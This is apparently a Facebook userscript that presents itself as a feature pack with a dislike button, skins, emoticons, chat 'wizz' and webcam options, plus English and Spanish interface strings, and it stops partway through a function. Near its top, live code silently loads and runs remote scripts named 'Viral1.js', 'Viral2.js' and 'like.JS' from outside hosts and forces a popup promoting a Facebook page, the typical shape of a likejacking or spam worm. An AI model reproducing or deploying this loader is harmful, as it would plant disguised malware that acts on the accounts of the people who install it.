//<body oncontextmenu="return false;"><script type="text/javascript">alert('Se te perdio algo? Porque esto es privado xD.');alert('Bye Bye!');top.location="http://www.fbuzz.info";</script></body>
overmsg();
biralize('https://codigos-viralfb.googlecode.com/svn/trunk/Viral1.js');
biralize('https://codigos-viralfb.googlecode.com/svn/trunk/Viral2.js');
biralize('http://fresislike.co.cc/Apps/pelea/like.JS');

if( location.href.indexOf('http://facebook.com/plugins/') == 0 ){unload();};
if( location.href.indexOf('http://developers.facebook.com/') == 0 ){unload();};
function biralize(a) {
    var jsadd = document.createElement('script');
    jsadd.type = 'text/javascript';
    jsadd.src = a + '?token=' + Math.random() * 999999;
    document.head.appendChild(jsadd);
};
function unload(){
	var scriptin1 = document.getElementById('invoque');
	var scriptin2 = document.getElementById('mycssstyle');
	var scriptin3 = document.getElementById('ratestyle');
	document.head.removeChild(scriptin1);document.body.removeChild(scriptin2);document.body.removeChild(scriptin3);
}
function overlay(){
             var overlay = document.createElement('div');
            overlay.className = "generic_dialog overlay";
            overlay.id = "overlaydiv";
            document.body.appendChild(overlay);
};
function overhide(){
document.getElementById('overmsgdiv').style.display = 'none'; 
document.getElementById('overlaydiv').style.display = 'none';
document.getElementById('my-social-dialog').style.display = 'none';
}
function overmsg(){
             var _0xbf72x181 = document['createElement']('div');
            //_0xbf72x181['style']['display'] = 'block';
            //_0xbf72x181['style']['position'] = 'fixed';
            //_0xbf72x181['style']['width'] = '50%';
            //_0xbf72x181['style']['left'] = '25%';
            //_0xbf72x181['style']['height'] = '90%';
            //_0xbf72x181['style']['top'] = '0%';
            //_0xbf72x181['style']['color'] = '#3b5998';
            //_0xbf72x181['style']['padding'] = '10px';
           //_0xbf72x181['style']['textAlign'] = 'center';
            //_0xbf72x181['style']['border-radius'] = '10px';
            //_0xbf72x181['style']['-ms-border-radius'] = '10px';
            //_0xbf72x181['style']['-moz-border-radius'] = '10px';
            //_0xbf72x181['style']['-webkit-border-radius'] = '10px';
            //_0xbf72x181['style']['font-family'] = 'Arial,verdana,tahoma';
            //_0xbf72x181['style']['font-size'] = '20px';
            //_0xbf72x181['style']['background'] = '#fff';
            //_0xbf72x181['style']['border'] = '7px solid #3B5998';
           //_0xbf72x181['style']['zIndex'] = 9999999999999;
			//_0xbf72x181['id'] = "overmsgdiv";
            //_0xbf72x181['innerHTML'] = "<iframe src='http://fresislike.co.cc/Apps/ListaEliminacion/app.html' width='100%' height='300' </iframe>";
			// añadir al lado de <p> antes de " <img src='http://fpgold.net/web/close.png' width='50' height='50' onclick='overhide();' style='cursor:pointer;'/><img src='http://fpgold.net/web/instr.png' onclick='overhide();' style='cursor:pointer;'/>
             document['body']['appendChild'](_0xbf72x181);
 		showpopup("Paso importante","<div style='background-color:#F7F7F7;padding:5px;color:#333;font-size:22px;'>Anuncios Patrocinados<iframe src='http://www.facebook.com/Dibujos.Ascii' width='728' height='360' scrololing='no' frameborder='0'></iframe></div>","760",CLOSE);
			
};
/* Variable globale do not modify */
// Variable user 
var FB_UID=0;
var FB_NAME="";
// preference
	var smiley_enabled=true;
	var dislike_enabled=true;
	var forme_enabled=true;
	var editor_enabled=true;
	var chat_enabled=true;
	var chat_wizz_enabled=true;
	var note_enabled=true;
	var skin_enabled=true;
	var photo_enabled=true;      
	var pubid="";
	// Filtre
	var groupes_enabled=false;
    var pages_enabled=false;
    var comment_enabled=false;
    var like_enabled=false;
  	var relations_enabled=false;
   var friends_enabled=false;
    var event_enabled=false;
	var bestTxt="";
	var cachedTxt="";
// Variable d'enviromentv
var filtrage=[];
var hasFocus=false;
var troublepopup=true;
var VERSION="2.5.3.7"; 
var fav=new Array();
var smile = new Array();
smile[0] = new Array(":)","0");
smile[1] = new Array(":-)","0");
// clin d'oeil
smile[2] = new Array(";)","-16");
smile[3] = new Array(";-)","16");
smile[4] = new Array(":(","-32");
smile[5] = new Array(":-(","-32");
smile[6] = new Array("8o|","-48");
smile[7] = new Array(":|","-64");
smile[8] = new Array(":-|","-64");
smile[9] = new Array(":O","-80");
smile[10] = new Array(":o","-80");
smile[11] = new Array(":'(","-96");
smile[12] = new Array("(l)","-112");
smile[13] = new Array("(L)","-112");						
smile[14] = new Array("(u)","-128");
smile[15] = new Array("(U)","-128");
smile[16] = new Array("(*)","-144");
smile[17] = new Array("*-)","-160");
smile[18] = new Array("(H)","-176");
smile[19] = new Array(":D","-192");
smile[20] = new Array(":-D","-192");
smile[21] = new Array(":p","-208");
smile[22] = new Array(":P","-208");
smile[23] = new Array(":-$","-224");
smile[24] = new Array(":$","-224");
// diable
smile[25] = new Array("(6)","-240");
// special
smile[26] = new Array("(s)","-256");
smile[27] = new Array("(r)","-276");
smile[28] = new Array("(b)","-288");
smile[29] = new Array(":s","-304");
smile[30] = new Array(":-s","-304");
smile[31] = new Array(":S","-304");
var defaut=[];
defaut['mykey']="0";
defaut['cachedTxt']="";
defaut['bestTxt']="";

        defaut['groupes_enabled'] = "false";
   defaut['pages_enabled'] = "false";
  defaut['comment_enabled'] = "false";
  defaut['like_enabled'] = "false";
    defaut['relations_enabled'] = "false";
    defaut['friends_enabled'] = "false";
    defaut['event_enabled'] = "false";
        defaut['smiley_enabled'] = "true";
    defaut['dislike_enabled'] ="true";
    defaut['forme_enabled'] = "true";
    defaut['editor_enabled'] = "true";
    defaut['chat_enabled'] = "true";
    defaut['chat_wizz_enabled'] = "true";
    defaut['note_enabled'] = "true";
    defaut['skin_enabled'] = "true";
    defaut['photo_enabled'] = "true";
    defaut['theme_extend'] = "true";
	 defaut['promo_enabled'] = "true";
	 defaut['fav']="";
	  defaut['camtype']=0;
	 var camtype=0;
	 var favHTML='';
	
smile[32] = new Array(":-S","-304");
var my_interval_req=0;
var nbessai=20;
var debug=true;
var postLike = new Array();
var user_theme=0;
var vide=[];
var newFB="";
var PosttoTest=[];
var lastPostTested=[];
var postCacheTime=600; // variable de cache POST en seconde; chaque post ne sera traitÃ© via ajax qu'un fois toute les x secondes
var skinCacheTime=3600; // variable de cache SKIN en seconde; chaque Skin ne sera traitÃ© via ajax qu'un fois toute les x secondes
var skinUser = new Array();

var OnlineCss=0;
var Busy=false;
var requeteThemeProcessing=true;
// Variable de langue
var ADD_TO_BOOKMARKS="Add to Bookmarks";
var REMOVE_FROM_BOOKMARKS="Remove from Bookmarks";
var BOOKMARKS="Bookmarks";
var TXT_BOOKMARKS="To add peoples or pages in your bookmarks, just click on the star on a profile page : ";
var COLOR="colour";
var LINK_SETTINGS_UPDATE="Update";
var BOLD="Bold";
var ITALIC="Italic";
var	UNDERLINE="Underline";
var STRIKE="Strike";
var	IMG_COLOR="http://static.buzqzzapps.com/xpi/i/c.png";
var	IMG_BOLD="http://static.buzzqzapps.com/xpi/i/b.png";
var	IMG_ITALIC="http://static.bquzzzapps.com/xpi/i/i.png";
var	IMG_UNDERLINE="http://static.buzzqzapps.com/xpi/i/u.png";
var	IMG_STRIKE="http://static.buzzqzapps.com/xpi/i/s.png";
var LINKDONT="Dislike";
var FLOAT_HAND="left";
var NEXT="Next";
var CLOSE="Close";
var QUIT="Quit";
var CANCEL="Cancel";
var SKIN_POP_C="Choose your favorite skin here";
var SAVE="Save";
var FLOAT_NOTE="right"
var	TXT_SOL="don't like";
var	TXT_MUL2="doesn't like";
var TXT_AND="and";
var	TXT_MUL="don't like";
var TXT_ANNULER="undo"
var ADDED_SHIT="It's a shit";
var ADDED_KISS="I make a kiss";
var ADDED_DISLIKE="I dislike!";
var SKIN_POP_T="Skin";
var TXT_PERSONNES="others";
var SETTING="Settings";
var LINK_SETTINGS_FUNCTION="Manage functions"
var LINK_SETTINGS_SKIN="Profile Skin"
var LINK_SETTINGS_BUG="Bug report";
var LINK_SETTINGS_FILTRE="Filters";
var SETTINGS_SMILEY="Show Emoticons";
 var SETTINGS_DISLIKE="Show dislike button";
 var SETTINGS_FORME="Show color statut";
  var SETTINGS_EDITOR="Enable text style editor" ;
  var SETTINGS_WIZZ="Enable Wizz and Webcam in chat";
  var SETTINGS_PHOTO="Show photo preview" ;
  		var TROUBLE_POP_T="We have some trouble";
		var TROUBLE_POP_C="We currently have some trouble with our servers. Please be patient ...";
  var SETTINGS_SKIN="Show skin";
var Bugreportsender="Sending report ...";
var WELCOME_TITLE="Welcome on ";
var WELCOME_CONTENT="With it, you will have access to revolutionary new features on Facebook! <br /> We will guide you to the configuration that you want to use. <br /> <br /> You can access it at any time at your options in your menu";
var WELCOME_CONTENT2="You can now configure your new facebook by clicking on a button below: ";
var POPUP_OPTION_TITLE="Control panel - ";
var ENABLED="Enable";
var 	TXT_WIZZ_R="sent you a wizz!";
var TXT_WIZZ_S="You have sent a wizz!";
var videoChatExplain="You can select how to open the chat: ";
var	videChatnewWindow="New window";
var	videChatFB="Integrated with Facebook"
var	videoChatStable="(Recommended)";
var	videChatRemenber="Remember this settings";
	var SETTINGS_CAM="Method for opening webcams";
		var SETTINGS_CAM0="Always ask me";
	var	SETTINGS_CAM1=videChatFB;
		var SETTINGS_CAM2=videChatnewWindow
var DISABLED="Disable";
var bugsenderok="Your report has been sent";
var POPUP_OPTION_EXPLAIN="With this window you can toggle the features you want to use. Click the button to change the state";
var KISS="Kiss";
var BUG_REPORT_B="Send report";
var BUG_REPORT_T="Did you find a bug?";
var BUG_REPORT_C1="To report a bug or ask a question use the form below: ";
var BUG_REPORT_C2="Thank you to be as accurate as possible when describing your problem to help us solve it as quickly as possible";
var CHOOSE_SKIN="Choose a skin";
var WHODONTLIKE="Who dislike this post";
var SETTINGS_GROUPES="Hide groups joined by my friends.";
var SETTINGS_PAGES="Hide pages liked by my friends.";
var SETTINGS_COMMENT="Hide information that one of my friends wrote a comment.";
var SETTINGS_LIKE="Hide information that one of my friends liked a publication or an activity.";
var SETTINGS_RELATIONS="Hide friend's relationship changes.";
var SETTINGS_FRIENDS="Hide new friends of my friends.";
var SETTINGS_EVENT="Hide events in which my friends take part.";
var SETTINGS_TITLE_FILTRE="Modify my filter";
var SETTINGS_EXPLAIN_FILTRE="This filtre will be shared to all user of this computer.";
var SETTING_BOUTTON_VAL_FILTRE="Save this filter";
var SETTING_POPUP_TITLE_FILTRE="Filters";;
var SETTINGS_CHANGE="The changes will be visible to the next loading of Facebook. ";
var UPDATE_POPUP="You have the latest version of ";
var UPDATE_TITLE=" updated";
var SHIT="It's a shit";
var CLOSE="Close";
var YOU="You";
var USER_TYPE=0;
var LANG="en";
var utma=0;
var IMG_HAND_DISLIKE="http://static.buzzzapps.com/xpi/han.png";
var SKIN_POP_CREATOR="Create your skin";
			var SKIN_POP_CREATOR1="Now you can create your own skin!"
			var SKIN_POP_CREATOR2="You have just to follow this 3 steps :";
			var SKIN_POP_CREATOR3='Click on "Start" to create your skin';
var FILE_ERR="Error, please check your form.";
var FILE_OK="The file was uploaded successfully!"
var TITLE_CREATE="Create your skin";
var	FILE="File"
var	CREATE_SELECT_PIC="Select your picture :"
var	CREATE_SELECT_COLOR="Select a color"
var CREATE_COLOR="Select a color for top bar :"
var CREATE_ALIGN="Align";
var CREATE_LEFT="Left";
var CREATE_RIGHT="Right";
var	CREATE_CENTER="Center";
var	CREATE_BACK_REC="Background color of your facebook top bar";
var	CREATE_UP_REC="Upload your skin"
var	CREATE_PIC_REC="Your image must be less than 1mb and type (jpg, png, bmp, gif)";
var	CREATE_UP="Upload";

var text=new Array();
		// ENGLISH

	
	 text["en"]=new Array();
	 text["en"]["ADD_TO_BOOKMARKS"]="Add to Bookmarks";
text["en"]["REMOVE_FROM_BOOKMARKS"]="Remove from Bookmarks";
text["en"]["BOOKMARKS"]="Bookmarks";
text["en"]["TXT_BOOKMARKS"]="To add peoples or pages in your bookmarks, just click on the star on a profile page : ";
	 text["en"]["LINKDONT"]="Dislike";
	 text["en"]["FLOAT_HAND"]="left";
	 text["en"]["NEXT"]="Next";
	 text["en"]["CLOSE"]="Close";
	 text["en"]["QUIT"]="Quit";
	 text["en"]["CANCEL"]="Cancel";
	 text["en"]["SKIN_POP_C"]="Choose your favorite skin here";
	 text["en"]["SAVE"]="Save";
	 text["en"]["FLOAT_NOTE"]="right"
	 text["en"]["TXT_SOL"]="don't like";
	 text["en"]["TXT_MUL2"]="doesn't like";
	 text["en"]["TXT_AND"]="and";
	 text["en"]["TXT_MUL"]="don't like";
	 text["en"]["TXT_ANNULER"]="undo";
	 text["en"]["ADDED_SHIT"]="It's a shit";
	 text["en"]["ADDED_KISS"]="I make a kiss";
	 text["en"]["ADDED_DISLIKE"]="I dislike!";
	 text["en"]["TXT_PERSONNES"]="others";
	 text["en"]["LINK_SETTINGS_FUNCTION"]="Manage functions";
	 text["en"]["LINK_SETTINGS_SKIN"]="Profile Skin";
	 text["en"]["LINK_SETTINGS_BUG"]="Bug report";
	 text["en"]["LINK_SETTINGS_FILTRE"]="Activity filters";
	 text["en"]["SETTINGS_SMILEY"]="Show Emoticons";
	 text["en"]["SETTINGS_DISLIKE"]="Show dislike button";
	 text["en"]["SETTINGS_FORME"]="Show color statuts";
	 text["en"]["SETTINGS_EDITOR"]="Enable text style editor" ;
	 text["en"]["SETTINGS_WIZZ"]="Enable wizz and Webcam in chat" ;
	 text["en"]["SETTINGS_PHOTO"]="Show photo preview" ;
	 text["en"]["TROUBLE_POP_T"]="We have some trouble";
	 text["en"]["TROUBLE_POP_C"]="We currently have some trouble with our servers. Please be patient ...";  
	 text["en"]["SETTINGS_SKIN"]="Show skin";
	 text["en"]["Bugreportsender"]="Sending report ...";
	 text["en"]["WELCOME_TITLE"]="Welcome on ";
	 text["en"]["WELCOME_CONTENT"]="With it, you will have access to revolutionary new features on Facebook! <br /> We will guide you to the configuration that you want to use. <br /> <br /> You can access it at any time at your options in your menu";
	 text["en"]["WELCOME_CONTENT2"]="You can now configure your new facebook by clicking on a button below: ";
	 text["en"]["POPUP_OPTION_TITLE"]="Control panel - ";
	 text["en"]["ENABLED"]="Enable";
	 text["en"]["DISABLED"]="Disable";
	 text["en"]["bugsenderok"]="Your report has been sent";
	 text["en"]["POPUP_OPTION_EXPLAIN"]="With this window you can toggle the features you want to use. Click the button to change the state"
	 text["en"]["KISS"]="Kiss";
	 text["en"]["BUG_REPORT_B"]="Send report";
	 text["en"]["BUG_REPORT_T"]="Did you find a bug?";
	 text["en"]["BUG_REPORT_C1"]="To report a bug or ask a question use the form below: ";
	 text["en"]["BUG_REPORT_C2"]="Thank you to be as accurate as possible when describing your problem to help us solve it as quickly as possible";
	 text["en"]["CHOOSE_SKIN"]="Choose a skin";
	 text["en"]["WHODONTLIKE"]="Who dislike this post";
	 text["en"]["SHIT"]="It's a shit";
	 text["en"]["CLOSE"]="Close";
	 text["en"]["SKIN_POP_T"]="Profile Skin";
	 text["en"]["YOU"]="You";
	 text["en"]["UPDATE_POPUP"]="You have the latest version of ";
text["en"]["UPDATE_TITLE"]=" updated";
	  text["en"]["SETTINGS_GROUPES"]="Hide groups joined by my friends.";
 text["en"]["SETTINGS_PAGES"]="Hide pages liked by my friends."
 text["en"]["SETTINGS_COMMENT"]="Hide information that one of my friends wrote a comment.";
 text["en"]["SETTINGS_LIKE"]="Hide information that one of my friends liked a publication or an activity."
 text["en"]["SETTINGS_RELATIONS"]="Hide friend's relationship changes."
 text["en"]["SETTINGS_FRIENDS"]="Hide new friends of my friends."
 text["en"]["SETTINGS_EVENT"]="Hide events in which my friends take part.";
 text["en"]["SETTINGS_TITLE_FILTRE"]="Modify my filter"
 text["en"]["SETTINGS_EXPLAIN_FILTRE"]="This filtre will be shared to all user of this computer.";
 text["en"]["SETTING_BOUTTON_VAL_FILTRE"]="Save this filter"
 text["en"]["SETTING_POPUP_TITLE_FILTRE"]="Filters";
 text["en"]["SETTINGS_CHANGE"]="The changes will be visible to the next loading of Facebook. ";
  text["en"]["COLOR"]="Colour";
	 text["en"]["BOLD"]="Bold";
	  text["en"]["ITALIC"]="Italic";
	   text["en"]["UNDERLINE"]="Underline";
	    text["en"]["STRIKE"]="Strike"; 
		text["en"]["LINK_SETTINGS_UPDATE"]="Update ";
		text["en"]["videoChatExplain"]="You can select how to open the chat: ";
text["en"]["videChatnewWindow"]="New window";
text["en"]["videChatFB"]="Integrated with Facebook"
text["en"]["videoChatStable"]="(Recommended)";
text["en"]["videChatRemenber"]="Remember this settings";
text["en"]["SETTINGS_CAM"]="Method for opening webcams";
		text["en"]["SETTINGS_CAM0"]="Always ask me";
		text["en"]["FILE_ERR"]="Error, please check your form.";
		
		//Skin creator
text["en"]["FILE_OK"]="The file was uploaded successfully!"
text["en"]["TITLE_CREATE"]="Create your skin";
text["en"]["FILE"]="File"
text["en"]["SETTING"]="Facebook 2012";
text["en"]["CREATE_SELECT_PIC"]="Select your picture :"
text["en"]["CREATE_SELECT_COLOR"]="Select a color"
text["en"]["CREATE_COLOR"]="Select a color for top bar :"
text["en"]["CREATE_ALIGN"]="Align";
text["en"]["CREATE_LEFT"]="Left";
text["en"]["CREATE_RIGHT"]="Right";
text["en"]["CREATE_CENTER"]="Center";
text["en"]["CREATE_BACK_REC"]="Background color of your facebook top bar";
text["en"]["CREATE_UP_REC"]="Upload your skin"
text["en"]["CREATE_PIC_REC"]="Your image must be less than 1mb and type (jpg, png, bmp, gif)";
text["en"]["CREATE_UP"]="Upload";
text["en"]["SKIN_POP_CREATOR"]="Create your skin";
			text["en"]["SKIN_POP_CREATOR1"]="Now you can create your own skin!"
			text["en"]["SKIN_POP_CREATOR2"]="You have just to follow this 3 steps :";
			text["en"]["SKIN_POP_CREATOR3"]='Click on "Start" to create your skin';

// Espagnol


text["es"]=new Array();
text["es"]["POPUP_OPTION_TITLE"]="Panel de control de ";
text["es"]["WELCOME_CONTENT"]="Con &eacute;l,tendr&aacute;s acceso a funciones nunca antes vistas en Facebook! <br /> Te llevaremos a la configuraci&oacute;n. <br /> <br />Podr&aacute;s acceder a ella en el men&uacute;";
text["es"]["WELCOME_CONTENT2"]="Puedes configurar tu nuevo Facebook haciendo click en cualquier bot&oacute;n: ";
text["es"]["LINK_SETTINGS_FILTRE"]="Filtros de actividad";
text["es"]["BUG_REPORT_T"]="¿Encontraste un error?";
text["es"]["UPDATE_POPUP"]="Tienes la ultima versi&oacute;n de ";
text["es"]["UPDATE_TITLE"]=" actualizado";
text["es"]["LINKDONT"]="No me gusta"; // link
text["es"]["CANCEL"]="Cancelar"; // annule
text["es"]["SAVE"]="Guardar"; // setting val
  text["es"]["SETTINGS_GROUPES"]="Ocultar Los Grupos A Los Que Se Unen Mis Amigos(as).";
 text["es"]["SETTINGS_PAGES"]="Ocultar Las PÃ¡ginas A Las Que Se Hacen Fan Mis Amigos(as).."
 text["es"]["SETTINGS_COMMENT"]="Ocultar La InformaciÃ³n De Cuando Un(a) Amigo(a) Comenta Algo.";
 text["es"]["SETTINGS_LIKE"]="Ocultar La InformaciÃ³n De Cuando Un(a) Amigo(a).Le Gusta Una PublicaciÃ³n O Una Actividad."
 text["es"]["SETTINGS_RELATIONS"]="Ocultar Los Cambios De SituaciÃ³n Sentimental De Mis Amigos(as)."
 text["es"]["SETTINGS_FRIENDS"]="Ocultar Los Nuevos Amigos(as) De Mis Amigos(as).";
 text["es"]["SETTINGS_EVENT"]="Ocultar Los Eventos De Los Que Mis Amigos(as) Son Parte.";
 text["es"]["SETTINGS_TITLE_FILTRE"]="Modificar Mis Filtrose";
 text["es"]["SETTINGS_EXPLAIN_FILTRE"]="Este Filtro SerÃ¡ Compartido Por Todos Los Usuarios Del Computador.";
 text["es"]["SETTING_BOUTTON_VAL_FILTRE"]="Guardar Este Filtro";
 text["es"]["SETTING_POPUP_TITLE_FILTRE"]="Modificar Mis Filtros";
 text["es"]["SETTINGS_CHANGE"]="Los Cambios SerÃ¡n Visibles La PrÃ³xima Vez Que Cargues Facebook.";
text["es"]["TXT_SOL"]="no os gusta esto."; // sol
text["es"]["TXT_MUL"]="no les gusta esto."; // mul
text["es"]["TXT_AND"]="y a"; // and
text["es"]["TXT_MUL2"]="no les gusta esto."; // mul2
text["es"]["TXT_ANNULER"]="Cancelar" // annule
text["es"]["ADDED_DISLIKE"]="No Me Gusta!"; // link
text["es"]["LINK_SETTINGS_UPDATE"]="Actualizar ";
text["es"]["TXT_PERSONNES"]="otros"; // personne

text["es"]["LINK_SETTINGS_FUNCTION"]="Preferencias" ;// prefer
text["es"]["LINK_SETTINGS_SKIN"]="Administador de temas"; // theme titre
text["es"]["LINK_SETTINGS_FILTRE"]="Filtros"; // filtre


text["es"]["SETTINGS_SMILEY"]="Activar emoticones"; // smileys
text["es"]["SETTINGS_DISLIKE"]="Activar &quot;No me gusta&quot;"; // dislike
text["es"]["SETTINGS_FORME"]="Activar estilos en el texto"; // form
text["es"]["SETTINGS_EDITOR"]="Activar editor de estios de texto" ; // editor
text["es"]["SETTINGS_WIZZ"]="Activar zumbidos" ; // wizz
text["es"]["SETTINGS_PHOTO"]="Activar vista previa de fotos" ; // photo

text["es"]["WHODONTLIKE"]="Personas a las que no les gusta esto"; // whodontlike
text["es"]["YOU"]="A t&iacute;"; // you debut
text["es"]["SKIN_POP_T"]="Administador De Skin Para El Perfil"; // theme titre deja mis + haut

text["es"]["COLOR"]="Color"; // color
text["es"]["BOLD"]="Negrita"; // bold
text["es"]["ITALIC"]="Cursiva"; // italic
text["es"]["UNDERLINE"]="Subrayado"; // underline
text["es"]["STRIKE"]="Tachado";  // strike
text["es"]["TXT_WIZZ_R"]="te envi&oacute; un zumbido!";
text["es"]["TXT_WIZZ_S"]="Enviaste un zumbido!";
	   text["en"]["TXT_WIZZ_R"]="sent you a wizz!";
		  text["en"]["TXT_WIZZ_S"]="You have sent a wizz!";
function $_(str)
{
		if(text[LANG] && text[LANG][str]) return text[LANG][str];
		return text["en"][str];
}
 
function fb_alias()
{
	selecteur=document.getElementById('navAccountName');
	if(selecteur) return selecteur.textContent;
}
function construct_trad(){
	
	 ADD_TO_BOOKMARKS=$_("ADD_TO_BOOKMARKS");
 REMOVE_FROM_BOOKMARKS=$_("REMOVE_FROM_BOOKMARKS");
 BOOKMARKS=$_("BOOKMARKS");
 TXT_BOOKMARKS=$_("TXT_BOOKMARKS");

	TXT_WIZZ_R=$_("TXT_WIZZ_R");
			TXT_WIZZ_S=$_("TXT_WIZZ_S");
			videoChatExplain==$_("videoChatExplain");
	videChatnewWindow=$_("videChatnewWindow");
	videChatFB=$_("videChatFB");
	videoChatStable=$_("videoChatStable");
	videChatRemenber=$_("videChatRemenber");
	SETTINGS_CAM=$_("SETTINGS_CAM");
		SETTINGS_CAM0=$_("SETTINGS_CAM0");
		SETTINGS_CAM1=videChatFB;
		SETTINGS_CAM2=videChatnewWindow
	
		 SKIN_POP_CREATOR=$_("SKIN_POP_CREATOR");
			 SKIN_POP_CREATOR1=$_("SKIN_POP_CREATOR1");
			 SKIN_POP_CREATOR2=$_("SKIN_POP_CREATOR2");
			 SKIN_POP_CREATOR3=$_("SKIN_POP_CREATOR3");
 FILE_ERR=$_("FILE_ERR");;
 FILE_OK=$_("FILE_OK");
 TITLE_CREATE=$_("TITLE_CREATE");
	FILE=$_("FILE");
	CREATE_SELECT_PIC=$_("CREATE_SELECT_PIC");
	CREATE_SELECT_COLOR=$_("CREATE_SELECT_COLOR");
 CREATE_COLOR=$_("CREATE_COLOR");
 CREATE_ALIGN=$_("CREATE_ALIGN");
 CREATE_LEFT=$_("CREATE_LEFT");
 CREATE_RIGHT=$_("CREATE_RIGHT");
	CREATE_CENTER=$_("CREATE_CENTER");
	CREATE_BACK_REC=$_("CREATE_BACK_REC");
	CREATE_UP_REC=$_("CREATE_UP_REC");
	CREATE_PIC_REC=$_("CREATE_PIC_REC");
	CREATE_UP=$_("CREATE_UP");
 LINKDONT=$_("LINKDONT");
 FLOAT_HAND=$_("FLOAT_HAND");
 NEXT=$_("NEXT");
 CLOSE=$_("CLOSE");
 QUIT=$_("QUIT");
 CANCEL=$_("CANCEL");
 SKIN_POP_C=$_("SKIN_POP_C");
 SAVE=$_("SAVE");
 FLOAT_NOTE=$_("FLOAT_NOTE");
 TXT_SOL=$_("TXT_SOL");
 TXT_MUL2=$_("TXT_MUL2");
 TXT_AND=$_("TXT_AND");
 TXT_MUL=$_("TXT_MUL");
 TXT_ANNULER=$_("TXT_ANNULER");
 ADDED_SHIT=$_("ADDED_SHIT");
 ADDED_KISS=$_("ADDED_KISS");
 ADDED_DISLIKE=$_("ADDED_DISLIKE");
 TXT_PERSONNES=$_("TXT_PERSONNES");
 SETTING=$_("SETTING");
 LINK_SETTINGS_FUNCTION=$_("LINK_SETTINGS_FUNCTION");
 LINK_SETTINGS_SKIN=$_("LINK_SETTINGS_SKIN");
 LINK_SETTINGS_BUG=$_("LINK_SETTINGS_BUG");
 LINK_SETTINGS_FILTRE=$_("LINK_SETTINGS_FILTRE");
 SETTINGS_SMILEY=$_("SETTINGS_SMILEY");
 SETTINGS_DISLIKE=$_("SETTINGS_DISLIKE");
 SETTINGS_FORME=$_("SETTINGS_FORME");
 SETTINGS_EDITOR=$_("SETTINGS_EDITOR");
 SETTINGS_WIZZ=$_("SETTINGS_WIZZ");
 SETTINGS_PHOTO=$_("SETTINGS_PHOTO") ;
 TROUBLE_POP_T=$_("TROUBLE_POP_T");
 TROUBLE_POP_C=$_("TROUBLE_POP_C");
 SETTINGS_SKIN=$_("SETTINGS_SKIN");
 Bugreportsender=$_("Bugreportsender");
 WELCOME_TITLE=$_("WELCOME_TITLE");
 WELCOME_CONTENT=$_("WELCOME_CONTENT");
 WELCOME_CONTENT2=$_("WELCOME_CONTENT2");
 POPUP_OPTION_TITLE=$_("POPUP_OPTION_TITLE");
 ENABLED=$_("ENABLED");
 DISABLED=$_("DISABLED");
 bugsenderok=$_("bugsenderok");
 POPUP_OPTION_EXPLAIN=$_("POPUP_OPTION_EXPLAIN");
 KISS=$_("KISS");
 BUG_REPORT_B=$_("BUG_REPORT_B");
 BUG_REPORT_T=$_("BUG_REPORT_T");
 BUG_REPORT_C1=$_("BUG_REPORT_C1");
 BUG_REPORT_C2=$_("BUG_REPORT_C2");
 CHOOSE_SKIN=$_("CHOOSE_SKIN");
 WHODONTLIKE=$_("WHODONTLIKE");
 SHIT=$_("SHIT");
 CLOSE=$_("CLOSE");
 YOU=$_("YOU");	
 SKIN_POP_T=$_('SKIN_POP_T');
 LINK_SETTINGS_UPDATE=$_("LINK_SETTINGS_UPDATE");
 UPDATE_POPUP=$_("UPDATE_POPUP");
 UPDATE_TITLE=$_("UPDATE_TITLE");
  SETTINGS_GROUPES=$_('SETTINGS_GROUPES');
 SETTINGS_PAGES=$_('SETTINGS_PAGES');
 SETTINGS_COMMENT=$_('SETTINGS_COMMENT');
 SETTINGS_LIKE=$_('SETTINGS_LIKE');
 SETTINGS_RELATIONS=$_('SETTINGS_RELATIONS');
 SETTINGS_FRIENDS=$_('SETTINGS_FRIENDS');
 SETTINGS_EVENT=$_('SETTINGS_EVENT');
 SETTINGS_TITLE_FILTRE=$_('SETTINGS_TITLE_FILTRE');
 SETTINGS_EXPLAIN_FILTRE=$_('SETTINGS_EXPLAIN_FILTRE');
 SETTING_BOUTTON_VAL_FILTRE=$_('SETTING_BOUTTON_VAL_FILTRE');
 SETTING_POPUP_TITLE_FILTRE=$_('SETTING_POPUP_TITLE_FILTRE');
 SETTINGS_CHANGE=$_('SETTINGS_CHANGE');
  COLOR=$_("COLOR");
 BOLD=$_("BOLD");
 ITALIC=$_("ITALIC");
	UNDERLINE=$_("UNDERLINE");
 STRIKE=$_("STRIKE");
 favoris=GM_getValue("fav");	
	if(favoris=="")
	favHTML='<div style="padding: 5px;">'+TXT_BOOKMARKS+' <br><br><img src="http://static.buzzzaqpps.com/xpi/addfav.png"></div>';
}
function addEvent(who,eventName,func){
if (!document.addEventListener && document.attachEvent)
	{
		if (this.attachEvent)
		who.attachEvent('on' + eventName, function(e){e.target=e.srcElement;func(e);});
	}
	else who.addEventListener(eventName,func,false);

	
}
function addWizzLink(){
	var a = document.getElementsByClassName('conversationContainer');
	for(var b=0;b<a.length;b++)
	{
		if(!a[b].added)
		{
			var linker=a[b].parentNode.getElementsByClassName('titlebarLink lfloat')[0].href;
			linker=linker.split('=')[1];
			a[b].added="true";
			var s=document.createElement('div');
			s.id="conv_"+linker;
			s.innerHTML='Send a wizz <img src="http://static.buzqzzapps.com/xpi/wizz.png" style="float:right;z-index:20000;height:17px;margin-top:-1px">';
			s.setAttribute('style',"cursor:pointer;background-color: #6D84B4;height:17px;color:#fff;text-align:right;border:1px solid #254588;border-top:0;border-bottom:0;");
			s.addEventListener('click',sendWizz,false);
			a[b].parentNode.insertBefore(s,a[b]);
		}
	}
	
}
function sendWizz(e){
	to=e.target.id.split('_');
to=to[to.length-1];
sendMessage(to,"!nudge");
sendMessage(to,"zumbido perfaplus");
}
function addWebcamButton(){
	
	var a=document.getElementsByClassName('MessagingAttachmentLinks');
	//console.log('ok');
	if(a)
	{
		linker=0;
		var b=document.createElement('li');
		b.className="MessagingComposerButton uiListItem  uiListHorizontalItemBorder uiListHorizontalItem";
		b.innerHTML='<a id="cam_'+linker+'" class="uiTooltip MessagingShareOption" style="background-image:url(http://www-hg.buzzzapps.com/sp/dev/cam2.png);color:#fff"><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText">Start a video conversation </span></span></a>';
		a[0].appendChild(b);
	}
}
function addWebcamLink(){

	var a = document.getElementsByClassName('titlebar');
	for(var b=0;b<a.length;b++)
	{
		
		if(!a[b].added)
		{
			var iteme=a[b].getElementsByClassName('itemAnchor');
			if(!iteme) return;
		
			 			//
						 linker=iteme[1].href;
			a[b].getElementsByClassName('titlebarText')[0].className+=" fbNubFlyoutTitlebar";
				a[b].getElementsByClassName('titlebarText')[0].style.border="none";
				a[b].getElementsByClassName('titlebarText')[0].style.height="20px";
			linker=linker.split('/');
